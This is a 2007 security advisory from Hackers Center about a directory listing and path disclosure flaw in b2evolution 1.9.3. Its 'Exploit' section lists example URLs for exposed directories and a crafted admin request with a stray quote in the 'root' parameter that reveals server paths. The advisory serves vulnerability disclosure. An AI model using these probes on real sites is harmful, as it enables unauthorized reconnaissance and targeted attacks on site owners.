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HSC Research Group -
Advisories
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Written by Hackers Center
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Sunday, 06 May 2007 18:48 |
 [HSC] b2evolution Blog Directory Disclosure Vulnerability
b2evolution is a free blog tool for the next generation of blogs. An attacker can see what files are in the Directory. Knowing what is there to be executed can allow for more targeted and intelligent attacks against PHP Files known to be vulnerable listed there. A successful attack could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Hackers Center Security Group (http://www.hackerscenter.com)
Credit: Doz
Remote: YES
Class: Improper Instalation configuration.
http://b2evolution.net/
Version: 1.9.3
* Attackers can exploit these issues via a web client. Also possible HTML injection in post.
Exploit:
http://www.site.com/v-1-9/blogs/inc/_misc/
http://www.site.com/Path/inc/_misc/
http://www.site.com/blog/inc/_misc/
Path Disclosure:
- http://site.com/path/blogs/admin.php?ctrl=files&root="
- var/www/web7/web/v-1-9/blogs/inc/MODEL/files/_filerootcache.class.php on line 64
Full Directory Listing:
http://evocms.cvs.sourceforge.net/evocms/b2evolution/blogs/inc/
Proff of Concept: http://i10.tinypic.com/4zabxjr.jpg
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